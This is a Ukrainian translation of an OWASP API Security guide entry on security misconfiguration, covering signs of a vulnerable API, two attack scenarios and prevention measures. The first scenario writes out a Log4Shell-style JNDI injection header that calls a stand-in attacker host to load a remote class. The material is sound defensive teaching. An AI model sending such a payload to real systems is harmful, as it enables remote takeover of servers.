Security Misconfiguration

Особливості цієї вразливості

Зловмисники часто намагаються знайти невиправлені недоліки, загальні кінцеві точки, служби, що працюють із незахищеними конфігураціями за замовчуванням, або незахищені файли та каталоги, щоб отримати неавторизований доступ або знання системи. Більшість із них загальнодоступні, і можуть бути доступні експлойти.

Поширеність

Неправильна конфігурація безпеки може статися на будь-якому рівні стека API, від рівня мережі до рівня програми. Є автоматизовані інструменти для виявлення та використання неправильних конфігурацій, таких як непотрібні служби чи застарілі параметри.

Впливи

Неправильна конфігурація безпеки не лише відкриває конфіденційні дані користувача, але й деталі системи, що може призвести до повного зламу сервера.

Як зрозуміти що API вразлива?

API може бути вразливим, якщо:

• Відповідна безпека відсутня в будь-якій частині стеку API або якщо є неправильно налаштовані дозволи для хмарних служб

• Немає останніх патчів безпеки або системи застаріли

• Увімкнено непотрібні функції

• Існують розбіжності в тому, як сервери в ланцюжку серверів HTTP обробляють вхідні запити

• Безпека транспортного рівня (TLS) відсутня

• Директиви безпеки чи керування кеш-пам’яттю не надсилаються клієнтам

• Політика спільного використання ресурсів між джерелами (CORS) відсутня або налаштована неправильно

• Повідомлення про помилки містять трасування стека або розкривають іншу конфіденційну інформацію

Приклади сценаріїв атак

Сценарій №1

Внутрішній сервер API підтримує логування, записаний популярною сторонньою утилітою логування з відкритим вихідним кодом із підтримкою розширення покажчика місця заповнення та пошуку JNDI (інтерфейс іменування Java та каталогів), обидва ввімкнені за замовчуванням. Для кожного запиту у файл журналу записується новий запис із таким шаблоном: <method> <api_version>/<path> - <status_code>.

Поганий виконавець надсилає такий запит API, який записується у файл журналу доступу:

GET /health X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

Через незахищену конфігурацію та політику, яка дозволяє вихід до мережі, щоб записати відповідний запис до логів, під час розширення значення в заголовку запиту, утиліта логування витягне та виконає об’єкт із X-Api-Version зловмисника Malicious.class. для можливості керувати віддалено сервером.

Сценарій №2

Веб-сайт соціальної мережі пропонує функцію «прямих повідомлень», яка дозволяє користувачам вести приватні розмови. Щоб отримати нові повідомлення для певної розмови, веб-сайт надсилає такий запит API:

GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA

Оскільки відповідь API не містить Cache-Control заголовка відповіді HTTP, приватні розмови зрештою кешуються веб-браузером, що дозволяє зловмисникам отримувати їх із файлів кешу браузера у файловій системі.

Як запобігти

• Переконайтеся, що всі зв’язки API від клієнта до сервера та будь-яких вхідних/вихідних компонентів відбуваються через зашифрований канал зв’язку (TLS), незалежно від того, внутрішній це чи загальнодоступний API.

• Конкретизуйте, за допомогою яких запитів HTTP можна отримати доступ до кожного API: усі інші запити HTTP мають бути вимкнені.

• API, до яких очікується доступ для клієнтів на основі веб-додатків, мають:

  • запровадити належну політику спільного використання ресурсів між джерелами (CORS).

  • включити відповідні заголовки безпеки.

  • Обмежте типи вхідного вмісту, які відповідають бізнес-вимогам.

  • Переконайтеся, що всі сервери в ланцюжку HTTP-серверів (наприклад, балансувальники навантаження, зворотні та прямі проксі-сервери та внутрішні сервери) обробляють вхідні запити однаково, щоб уникнути проблем із розсинхронізацією.